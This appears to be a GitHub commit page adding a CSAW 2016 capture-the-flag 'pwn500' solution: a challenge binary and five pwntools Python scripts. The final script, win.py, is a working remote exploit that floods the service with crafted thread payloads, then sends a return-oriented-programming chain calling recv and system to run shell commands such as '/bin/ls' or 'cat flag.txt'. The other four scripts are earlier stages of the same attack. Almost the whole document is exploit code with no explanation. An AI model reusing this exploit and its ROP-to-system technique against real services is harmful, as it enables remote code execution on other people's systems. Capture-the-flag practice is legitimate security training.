Skip to content

Commit fe71bab

Browse files
committed
Add csaw 2016 - pwn500 code
1 parent 2937e9f commit fe71bab

File tree

6 files changed

+339
-0
lines changed

6 files changed

+339
-0
lines changed

csaw-2016/pwn500/moms_spaghetti

16.7 KB
Binary file not shown.

csaw-2016/pwn500/win.py

Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
from pwn import *
2+
import socket
3+
import threading
4+
import random
5+
6+
p = random.randint(20000, 50000)
7+
num_threads = 90
8+
9+
command = '/bin/ls >&4\0'
10+
# command = '/bin/cat flag.txt >&4\0'
11+
12+
def thread_listen(port=9999):
13+
l = socket.socket()
14+
# print("About to listen")
15+
l.bind(('0.0.0.0', port))
16+
l.listen(5)
17+
18+
for i in xrange(num_threads):
19+
c, _ = l.accept()
20+
if i < 1:
21+
t = threading.Thread(target=thread_send, args=(c, 0xffff, 0x9000))
22+
else:
23+
t = threading.Thread(target=thread_send, args=(c, 0x20-0x3, 0x3, i))
24+
t.start()
25+
26+
def thread_send(c, size1, size2, index=0xffff):
27+
version = p16(1)
28+
29+
# malloc(size1 + size2 + 8)
30+
# size1 = p16(size1) # 16 bit size
31+
# psize2 = p32(size2) # 32 bit size, must be <= 0x40000000
32+
# header = version + p16(size1) + p32(size2) + '\n\n'
33+
header = version + p16(size1) + p32(size2)
34+
c.send(header)
35+
36+
recv = p32(0x8048be5)
37+
system = p32(0x80496de)
38+
ret = p32(0x8049702)
39+
adjust = p32(0x80487ee)
40+
41+
rop = []
42+
for _ in xrange(50):
43+
rop.append(ret)
44+
rop.append(recv)
45+
rop.append(adjust)
46+
rop.append(p32(4)) # Original thread fd
47+
rop.append(p32(0x804c098)) # Global address to read into
48+
rop.append(p32(len(command)))
49+
rop.append(system)
50+
rop.append(p32(0x804c098))
51+
rop.append(p32(0x80808080)) # End the copy
52+
53+
rop = ''.join(rop)
54+
55+
if size1 == 0xffff:
56+
buff = ['\x11\x22']
57+
for _ in xrange((size1+size2)/0x200):
58+
buff += '\xff' * (0x200 - len(rop))
59+
buff += rop
60+
61+
for i in xrange(len(buff) % 4):
62+
buff += '\x80'
63+
64+
buff = ''.join(buff)
65+
print(len(buff))
66+
print(len(buff) % 4 == 0)
67+
c.send(buff)
68+
else:
69+
buff = p8(0xff) * (size1)
70+
buff += p8(0x84) # Signed first bit
71+
buff += p8(0x7f)
72+
buff += p8(0xff)
73+
buff += p8(0xff)
74+
if c:
75+
try:
76+
c.send(buff)
77+
except:
78+
pass
79+
80+
def start_threads():
81+
t = threading.Thread(target=thread_listen, args=(p, ))
82+
t.daemon = True
83+
t.start()
84+
return t
85+
86+
curr_t = start_threads()
87+
88+
r = remote('172.17.0.6', 24242)
89+
# r = remote('pwn.chal.csaw.io', 8004)
90+
91+
n_threads = p16(num_threads)
92+
connect_host = socket.inet_aton('172.17.0.1')
93+
94+
payload = n_threads
95+
payload += p16(p) #port
96+
payload += connect_host
97+
98+
print("Sending : {}".format(payload))
99+
r.sendline(payload)
100+
for _ in xrange(10):
101+
r.sendline(command)
102+
103+
r.interactive()
104+
# curr_t.join()
105+

csaw-2016/pwn500/writeup0.py

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
from pwn import *
2+
import socket
3+
import threading
4+
import random
5+
6+
p = random.randint(20000, 50000)
7+
num_threads = 90
8+
9+
def thread_listen(port=9999):
10+
l = socket.socket()
11+
l.bind(('0.0.0.0', port))
12+
l.listen(5)
13+
14+
for i in xrange(num_threads):
15+
c, _ = l.accept()
16+
print(c, _)
17+
18+
def thread_send(c, size1, size2, index=0xffff):
19+
pass
20+
21+
def start_threads():
22+
t = threading.Thread(target=thread_listen, args=(p, ))
23+
t.daemon = True
24+
t.start()
25+
return t
26+
27+
curr_t = start_threads()
28+
29+
r = remote('127.0.0.1', 24242)
30+
31+
n_threads = p16(num_threads)
32+
connect_host = socket.inet_aton('127.0.0.1')
33+
34+
payload = n_threads
35+
payload += p16(p) # port
36+
payload += connect_host
37+
38+
r.sendline(payload)
39+
40+
r.interactive()

csaw-2016/pwn500/writeup1.py

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
from pwn import *
2+
import socket
3+
import threading
4+
import random
5+
import time
6+
7+
p = random.randint(20000, 50000)
8+
num_threads = 90
9+
10+
def thread_listen(port=9999):
11+
l = socket.socket()
12+
l.bind(('0.0.0.0', port))
13+
l.listen(5)
14+
15+
for i in xrange(num_threads):
16+
conn, _ = l.accept()
17+
print(conn, _)
18+
t = threading.Thread(target=thread_send, args=(conn, 0xad, 0xde00))
19+
t.start()
20+
21+
def thread_send(c, size1, size2):
22+
# malloc(size1 + size2 + 8)
23+
# size1 = p16(size1) # 16 bit size
24+
# size2 = p32(size2) # 32 bit size, must be <= 0x40000000
25+
26+
version = p16(1)
27+
header = version + p16(size1-8) + p32(size2)
28+
c.send(header)
29+
30+
payload = 'A' * (size1 + size2)
31+
c.send(payload)
32+
33+
def start_threads():
34+
t = threading.Thread(target=thread_listen, args=(p, ))
35+
t.daemon = True
36+
t.start()
37+
return t
38+
39+
curr_t = start_threads()
40+
41+
r = remote('127.0.0.1', 24242)
42+
43+
n_threads = p16(num_threads)
44+
connect_host = socket.inet_aton('127.0.0.1')
45+
46+
payload = n_threads
47+
payload += p16(p) # port
48+
payload += connect_host
49+
50+
r.sendline(payload)
51+
52+
r.interactive()

csaw-2016/pwn500/writeup2.py

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
from pwn import *
2+
import socket
3+
import threading
4+
import random
5+
import time
6+
7+
p = random.randint(20000, 50000)
8+
num_threads = 90
9+
10+
def thread_listen(port=9999):
11+
l = socket.socket()
12+
l.bind(('0.0.0.0', port))
13+
l.listen(5)
14+
15+
for i in xrange(num_threads):
16+
conn, _ = l.accept()
17+
print(conn, _)
18+
if i == 0:
19+
t = threading.Thread(target=thread_send, args=(conn, 0xffff, 0x9000))
20+
else:
21+
t = threading.Thread(target=thread_send, args=(conn, 0x20-3, 0x3, i))
22+
23+
t.start()
24+
25+
def thread_send(c, size1, size2, index=0xffff):
26+
# malloc(size1 + size2 + 8)
27+
# size1 = p16(size1) # 16 bit size
28+
# size2 = p32(size2) # 32 bit size, must be <= 0x40000000
29+
30+
version = p16(1)
31+
header = version + p16(size1) + p32(size2)
32+
c.send(header)
33+
34+
if size1 == 0xffff:
35+
# First thread
36+
buff = '\xff' * (size1+size2)
37+
c.send(buff)
38+
else:
39+
# All other threads
40+
buff = p8(0xff) * (size1)
41+
buff += p8(0x84) # Signed first bit
42+
buff += p8(0x7f)
43+
buff += p8(0xff)
44+
buff += p8(0xff)
45+
46+
c.send(buff)
47+
48+
49+
def start_threads():
50+
t = threading.Thread(target=thread_listen, args=(p, ))
51+
t.daemon = True
52+
t.start()
53+
return t
54+
55+
curr_t = start_threads()
56+
57+
r = remote('127.0.0.1', 24242)
58+
59+
n_threads = p16(num_threads)
60+
connect_host = socket.inet_aton('127.0.0.1')
61+
62+
payload = n_threads
63+
payload += p16(p) # port
64+
payload += connect_host
65+
66+
r.sendline(payload)
67+
68+
r.interactive()

csaw-2016/pwn500/writeup3.py

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
from pwn import *
2+
import socket
3+
import threading
4+
import random
5+
import time
6+
7+
p = random.randint(20000, 50000)
8+
num_threads = 90
9+
10+
def thread_listen(port=9999):
11+
l = socket.socket()
12+
l.bind(('0.0.0.0', port))
13+
l.listen(5)
14+
15+
for i in xrange(num_threads):
16+
conn, _ = l.accept()
17+
print(conn, _)
18+
if i == 0:
19+
t = threading.Thread(target=thread_send, args=(conn, 0xffff, 0x9000))
20+
else:
21+
t = threading.Thread(target=thread_send, args=(conn, 0x20-3, 0x3, i))
22+
23+
t.start()
24+
25+
def thread_send(c, size1, size2, index=0xffff):
26+
# malloc(size1 + size2 + 8)
27+
# size1 = p16(size1) # 16 bit size
28+
# size2 = p32(size2) # 32 bit size, must be <= 0x40000000
29+
30+
version = p16(1)
31+
header = version + p16(size1) + p32(size2)
32+
c.send(header)
33+
34+
if size1 == 0xffff:
35+
# First thread
36+
buff = []
37+
split_size = 0x200
38+
for _ in xrange((size1+size2) / split_size):
39+
buff += '\xff' * (split_size)
40+
buff += '\x80'
41+
42+
buff = ''.join(buff)
43+
c.send(buff)
44+
else:
45+
# All other threads
46+
buff = p8(0xff) * (size1)
47+
buff += p8(0x84) # Signed first bit
48+
buff += p8(0x7f)
49+
buff += p8(0xff)
50+
buff += p8(0xff)
51+
52+
c.send(buff)
53+
54+
55+
def start_threads():
56+
t = threading.Thread(target=thread_listen, args=(p, ))
57+
t.daemon = True
58+
t.start()
59+
return t
60+
61+
curr_t = start_threads()
62+
63+
r = remote('127.0.0.1', 24242)
64+
65+
n_threads = p16(num_threads)
66+
connect_host = socket.inet_aton('127.0.0.1')
67+
68+
payload = n_threads
69+
payload += p16(p) # port
70+
payload += connect_host
71+
72+
r.sendline(payload)
73+
74+
r.interactive()

0 commit comments

Comments
 (0)